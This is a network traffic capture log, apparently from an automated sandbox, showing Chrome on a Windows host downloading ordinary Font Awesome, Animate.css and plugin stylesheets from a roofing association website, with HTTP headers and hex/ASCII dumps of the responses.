2024-04-23 14:53:46 UTC	2171	IN	Data Raw: 32 62 64 22 7d 2e 66 61 2e 66 61 2d 75 73 65 72 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 75 73 65 72 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 30 37 22 7d 2e 66 61 2e 66 61 2d 69 64 2d 62 61 64 67 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 66 61 2e 66 61 2d 64 72 69 76 65 72 73 2d 6c 69 63 65 6e 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 32 22 7d 2e 66 61 2e 66 61 2d 69 64 2d 63 61 72 64 2d 6f 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 20 41 77 Data Ascii: 2bd"}.fa.fa-user-o{font-family:'Font Awesome 5 Free';font-weight:400}.fa.fa-user-o:before{content:"\f007"}.fa.fa-id-badge{font-family:'Font Awesome 5 Free';font-weight:400}.fa.fa-drivers-license:before{content:"\f2c2"}.fa.fa-id-card-o{font-family:'Font Aw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49774	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:45 UTC	720	OUT	GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/all.min.css?ver=6.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:46 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:45 GMT Content-Type: text/css Content-Length: 56590 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "14e269d-dd0e-5b419ed3e04c0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:46 UTC	7652	IN	Data Raw: 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 31 2e 32 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 2e 66 61 2c 2e 66 61 62 2c 2e 66 61 64 2c 2e 66 61 6c 2c 2e 66 61 72 2c 2e 66 61 73 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 65 62 6b 69 74 Data Ascii: /! Font Awesome Free 5.11.2 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 39 34 22 7d 2e 66 61 2d 62 6f 6c 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 33 32 22 7d 2e 66 61 2d 62 6f 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 65 37 22 7d 2e 66 61 2d 62 6f 6d 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 65 32 22 7d 2e 66 61 2d 62 6f 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 37 22 7d 2e 66 61 2d 62 6f 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 35 63 22 7d 2e 66 61 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 32 64 22 7d 2e 66 61 2d 62 6f 6f 6b 2d 64 65 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 62 37 22 7d 2e 66 61 2d 62 6f 6f Data Ascii: re{content:"\f294"}.fa-bold:before{content:"\f032"}.fa-bolt:before{content:"\f0e7"}.fa-bomb:before{content:"\f1e2"}.fa-bone:before{content:"\f5d7"}.fa-bong:before{content:"\f55c"}.fa-book:before{content:"\f02d"}.fa-book-dead:before{content:"\f6b7"}.fa-boo
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 65 22 7d 2e 66 61 2d 64 65 73 6b 70 72 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 38 66 22 7d 2e 66 61 2d 64 65 73 6b 74 6f 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 38 22 7d 2e 66 61 2d 64 65 76 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 63 63 22 7d 2e 66 61 2d 64 65 76 69 61 6e 74 61 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 64 22 7d 2e 66 61 2d 64 68 61 72 6d 61 63 68 61 6b 72 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 35 35 22 7d 2e 66 61 2d 64 68 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 39 30 22 7d 2e 66 61 2d 64 69 61 67 6e 6f 73 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 37 30 22 7d 2e 66 61 2d 64 Data Ascii: e"}.fa-deskpro:before{content:"\f38f"}.fa-desktop:before{content:"\f108"}.fa-dev:before{content:"\f6cc"}.fa-deviantart:before{content:"\f1bd"}.fa-dharmachakra:before{content:"\f655"}.fa-dhl:before{content:"\f790"}.fa-diagnoses:before{content:"\f470"}.fa-d
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 74 3a 22 5c 66 32 62 33 22 7d 2e 66 61 2d 67 6f 6f 67 6c 65 2d 70 6c 75 73 2d 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 64 35 22 7d 2e 66 61 2d 67 6f 6f 67 6c 65 2d 70 6c 75 73 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 64 34 22 7d 2e 66 61 2d 67 6f 6f 67 6c 65 2d 77 61 6c 6c 65 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 65 65 22 7d 2e 66 61 2d 67 6f 70 75 72 61 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 36 34 22 7d 2e 66 61 2d 67 72 61 64 75 61 74 69 6f 6e 2d 63 61 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 39 64 22 7d 2e 66 61 2d 67 72 61 74 69 70 61 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 38 34 22 7d 2e 66 61 2d Data Ascii: t:"\f2b3"}.fa-google-plus-g:before{content:"\f0d5"}.fa-google-plus-square:before{content:"\f0d4"}.fa-google-wallet:before{content:"\f1ee"}.fa-gopuram:before{content:"\f664"}.fa-graduation-cap:before{content:"\f19d"}.fa-gratipay:before{content:"\f184"}.fa-
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 33 36 22 7d 2e 66 61 2d 6d 64 62 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 38 63 61 22 7d 2e 66 61 2d 6d 65 64 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 61 32 22 7d 2e 66 61 2d 6d 65 64 61 70 70 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 63 36 22 7d 2e 66 61 2d 6d 65 64 69 75 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 33 61 22 7d 2e 66 61 2d 6d 65 64 69 75 6d 2d 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 63 37 22 7d 2e 66 61 2d 6d 65 64 6b 69 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 66 61 22 7d 2e 66 61 2d 6d 65 64 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 63 Data Ascii: efore{content:"\f136"}.fa-mdb:before{content:"\f8ca"}.fa-medal:before{content:"\f5a2"}.fa-medapps:before{content:"\f3c6"}.fa-medium:before{content:"\f23a"}.fa-medium-m:before{content:"\f3c7"}.fa-medkit:before{content:"\f0fa"}.fa-medrt:before{content:"\f3c
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 34 35 22 7d 2e 66 61 2d 72 75 6c 65 72 2d 63 6f 6d 62 69 6e 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 34 36 22 7d 2e 66 61 2d 72 75 6c 65 72 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 34 37 22 7d 2e 66 61 2d 72 75 6c 65 72 2d 76 65 72 74 69 63 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 34 38 22 7d 2e 66 61 2d 72 75 6e 6e 69 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 30 63 22 7d 2e 66 61 2d 72 75 70 65 65 2d 73 69 67 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 35 36 22 7d 2e 66 61 2d 73 61 64 2d 63 72 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 62 33 22 7d 2e 66 61 Data Ascii: content:"\f545"}.fa-ruler-combined:before{content:"\f546"}.fa-ruler-horizontal:before{content:"\f547"}.fa-ruler-vertical:before{content:"\f548"}.fa-running:before{content:"\f70c"}.fa-rupee-sign:before{content:"\f156"}.fa-sad-cry:before{content:"\f5b3"}.fa
2024-04-23 14:53:46 UTC	7978	IN	Data Raw: 2e 66 61 2d 74 69 72 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 63 38 22 7d 2e 66 61 2d 74 6f 67 67 6c 65 2d 6f 66 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 34 22 7d 2e 66 61 2d 74 6f 67 67 6c 65 2d 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 35 22 7d 2e 66 61 2d 74 6f 69 6c 65 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 64 38 22 7d 2e 66 61 2d 74 6f 69 6c 65 74 2d 70 61 70 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 31 65 22 7d 2e 66 61 2d 74 6f 6f 6c 62 6f 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 35 32 22 7d 2e 66 61 2d 74 6f 6f 6c 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 64 39 22 7d 2e 66 61 2d 74 Data Ascii: .fa-tired:before{content:"\f5c8"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-toilet:before{content:"\f7d8"}.fa-toilet-paper:before{content:"\f71e"}.fa-toolbox:before{content:"\f552"}.fa-tools:before{content:"\f7d9"}.fa-t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49776	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:46 UTC	719	OUT	GET /wp-content/plugins/js_composer/assets/lib/bower/animate-css/animate.min.css?ver=6.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:46 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:46 GMT Content-Type: text/css Content-Length: 53987 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "14e263f-d2e3-5b419ed3e04c0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:46 UTC	7652	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 41 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 3a 2f 2f 64 61 6e 65 64 65 6e 2e 6d 65 2f 61 6e 69 6d 61 74 65 0a 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 0a 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 34 20 44 61 6e 69 65 6c 20 45 64 65 6e 0a 2a 2f 2e 61 6e 69 6d 61 74 65 64 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 31 73 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 31 73 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 62 6f Data Ascii: @charset "UTF-8";/!Animate.css - http://daneden.me/animateLicensed under the MIT license - http://opensource.org/licenses/MITCopyright (c) 2014 Daniel Eden/.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:bo
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 74 65 33 64 28 32 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 33 64 65 67 29 7d 34 35 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 35 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 2d 33 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 35 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 2d 33 64 65 67 29 7d 36 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 32 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 Data Ascii: te3d(20%,0,0) rotate3d(0,0,1,3deg)}45%{-webkit-transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg);transform:translate3d(-15%,0,0) rotate3d(0,0,1,-3deg)}60%{-webkit-transform:translate3d(10%,0,0) rotate3d(0,0,1,2deg);transform:translate3d(10%,0,0) rotat
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 4f 75 74 4c 65 66 74 7b 32 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 32 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 32 30 70 78 2c 30 2c 30 29 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 32 30 30 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 32 30 30 30 70 78 2c 30 2c 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 4f 75 74 4c 65 66 74 7b 32 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 Data Ascii: eyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}100%{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes bounceOutLeft{20%{opacity:1;-webkit-trans
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 6f 75 74 7d 34 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 70 65 72 73 70 65 63 74 69 76 65 28 34 30 30 70 78 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 31 35 30 70 78 29 20 72 6f 74 61 74 65 33 64 28 30 2c 31 2c 30 2c 2d 31 39 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 70 65 72 73 70 65 63 74 69 76 65 28 34 30 30 70 78 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 2c 30 2c 31 35 30 70 78 29 20 72 6f 74 61 74 65 33 64 28 30 2c 31 2c 30 2c 2d 31 39 30 64 65 67 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 Data Ascii: n-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-func
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 6f 70 61 63 69 74 79 3a 31 7d 31 30 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 30 25 2c 30 2c 30 29 20 73 6b 65 77 58 28 33 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 31 30 30 25 2c 30 2c 30 29 20 73 6b 65 77 58 28 33 30 64 65 67 29 3b 6f 70 61 63 69 74 79 3a 30 7d 7d 2e 6c 69 67 68 74 53 70 65 65 64 4f 75 74 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 6c 69 67 68 74 53 70 65 65 64 4f 75 74 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 6c 69 67 68 74 53 70 65 65 64 4f 75 74 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 65 61 73 65 2d 69 6e 3b 61 6e 69 6d 61 74 69 6f Data Ascii: opacity:1}100%{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;animatio
2024-04-23 14:53:46 UTC	8192	IN	Data Raw: 74 79 3a 30 7d 7d 2e 68 69 6e 67 65 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 68 69 6e 67 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 68 69 6e 67 65 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 72 6f 6c 6c 49 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 2d 31 32 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 31 30 30 25 2c 30 2c 30 29 20 72 6f 74 61 74 65 33 64 28 30 2c 30 2c 31 2c 2d 31 32 30 64 65 67 29 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 Data Ascii: ty:0}}.hinge{-webkit-animation-name:hinge;animation-name:hinge}@-webkit-keyframes rollIn{0%{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}100%{opacity:1;-webkit-transfor
2024-04-23 14:53:46 UTC	5375	IN	Data Raw: 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 2e 34 37 35 2c 2e 34 37 35 2c 2e 34 37 35 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 34 32 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 33 64 28 2e 34 37 35 2c 2e 34 37 35 2c 2e 34 37 35 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 2d 34 32 70 78 2c 30 2c 30 29 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 31 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 32 30 30 30 70 78 2c 30 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 31 29 20 74 72 61 6e 73 6c 61 74 65 33 64 28 32 30 30 30 70 78 2c 30 2c 30 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 72 69 67 Data Ascii: t-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}100%{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:rig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49777	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:46 UTC	708	OUT	GET /wp-content/plugins/row-separators/row-separators/css/style.css?ver=1.4.2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:46 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:46 GMT Content-Type: text/css Content-Length: 1006 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "15c0b55-3ee-5b419ed2ec280" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:46 UTC	1006	IN	Data Raw: 62 6f 64 79 7b 6f 76 65 72 66 6c 6f 77 2d 78 3a 68 69 64 64 65 6e 7d 2e 76 63 5f 72 6f 77 2c 2e 77 70 62 5f 72 6f 77 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 67 61 6d 62 69 74 5f 73 65 70 5f 70 61 72 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7a 2d 69 6e 64 65 78 3a 33 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 21 69 6d 70 6f 72 74 61 6e 74 7d 73 76 67 2e 67 61 6d 62 69 74 5f 73 65 70 61 72 61 74 6f 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 30 20 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 74 6f 70 3a 30 3b 7a 2d 69 6e 64 65 78 3a 39 3b 74 72 61 6e 73 Data Ascii: body{overflow-x:hidden}.vc_row,.wpb_row{position:relative;z-index:1}.gambit_sep_parent{position:relative;z-index:3!important;overflow:visible!important}svg.gambit_separator{display:none;background:0 0;position:absolute;left:0;right:0;top:0;z-index:9;trans

